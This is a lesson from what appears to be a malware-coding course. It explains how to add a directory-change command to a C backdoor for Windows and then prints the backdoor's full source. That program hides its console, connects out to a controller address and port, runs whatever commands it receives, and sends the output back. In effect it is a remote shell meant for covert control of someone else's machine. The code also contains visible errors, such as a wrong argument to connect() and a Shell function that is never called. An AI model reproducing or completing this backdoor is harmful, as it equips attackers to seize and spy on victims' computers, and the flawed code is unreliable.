---
title: Changing directories
course: code_malware
section: "Adding functionalities"
layout: lesson
---

For start this "Adding functionalities" section, we will add a "cd" (Change
directory) like command to our malware.

Let's start by opening the "_Backdoor.c_" file, and go to your "_void Shell_"
function. What we want to do, is to add an option for the "_cd_" command in the
"_if_/_else_" section. Between the only two existing "_if_/_else_" statements,
add another one, containing the following code:

```c
else if(strncmp("cd ", buffer, 3) == 0) {
  chdir(str_cut(buffer, 3, 100));
}
```

What does that if block do, is basically check if the buffer is a "_cd_"
command. Why are we comparing the "_buffer_" variable with "_cd_" and an empty
space? Simple, once you send to the client the change directory command, it will
contain the "_cd_" part, and the desired directory to navigate to part, for
example:

```bash
cd Documents
```

That's how the command looks like. If we compare just "_cd_" with our buffer, it
will confuse it with the "_cd_" command which returns the current directory in
Windows. In Windows, the "_cd_" and "_cd Directory_" are not the same.

That's why we compare with the first three characters of our command, so our
backdoor won't confuse it with the "_change directory_" command and the "_print
current directory_" command.

The next thing our above piece of code does, it to change the directory by using
a function called "_chdir_". As you could see, we can't simply pass "_buffer_"
as a parameter because "_buffer_" will contain the entire command (including
"_cd_") causing the program to try to change the current directory to, for
example, "_cd Desktop_". We will create a function called "_buffer_" which will
cut the "cd " part. Add the following function to the beginning of your program
(after "_int sock;_").

```c
char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
          return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
          str_len = strlen(str);
          if (abs(slice_to) > str_len - 1)
                  return NULL;

          if (abs(slice_from) > str_len)
                  slice_from = (-1) * str_len;

          buffer_len = slice_to - slice_from;
          str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
          str_len = strlen(str);

          if (slice_from > str_len - 1)
                  return NULL;
          buffer_len = slice_to - slice_from;
          str += slice_from;

  } else
          return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}
```

That function takes three arguments:

* char str[]: The string of which we want to slice a part of
* int slice_from: The beginning part of our slice, for example, we want to cut
  the value of "_buffer_" from its 3 character.
* int slice_to: The final part of our slice, for example, we will slice the
  "_buffer_" value from its 3rd character, to its 100th.

This is how our entire code looks so far:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void) memset((p), 0, (size))

int sock;

char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
          return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
          str_len = strlen(str);
          if (abs(slice_to) > str_len - 1)
                  return NULL;

          if (abs(slice_from) > str_len)
                  slice_from = (-1) * str_len;

          buffer_len = slice_to - slice_from;
          str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
          str_len = strlen(str);

          if (slice_from > str_len - 1)
                  return NULL;
          buffer_len = slice_to - slice_from;
          str += slice_from;

  } else
          return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}

void Shell() {
  char buffer[1024];
  char container[1024];
  char total_response[1024];

  while(1) {
    jump:
    bzero(buffer, sizeof(buffer));
    bzero(container, sizeof(container));
    bzero(total_response, sizeof(total_response));

    recv(sock, buffer, 1024, 0);

    if(strncmp("q", buffer, 1) == 0) {
      closesocket(sock);
      WSACleanup();
      exit(0);
    } else if(strncmp("cd ", buffer, 3) == 0) {
      chdir(str_cut(buffer, 3, 100));
    } else {
      FILE *fp;
      fp = _popen(buffer, "r");
      while(fgets(container, 1024, fp) != NULL) {
        strcat(total_response, container);
      }
      send(sock, total_response, sizeof(total_response), 0);
      fclose(fp);
    }
  }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
  HWND stealth;
  AllocConsole();
  stealth = FindWindowA("ConsoleWindow", NULL);

  ShowWindow(stealth, 0);

  struct sockaddr_in ServAddr;
  unsigned short ServPort;
  char *ServIP;
  WSADATA wsaData;

  ServIP = "192.168.1.1";
  ServPort = 50005;

  if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
    exit(1);
  }

  sock = socket(AF_INET, SOCK_STREAM, 0);

  memset(&ServAddr, 0, sizeof(ServAddr));
  ServAddr.sin_family = AF_INET;
  ServAddr.sin_addr.s_addr = inet_addr(ServIP);
  ServAddr.sin_port = htons(ServPort);

start:
  while (connect(socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr != 0))) {
    Sleep(10);
    goto start;
  }
}
```
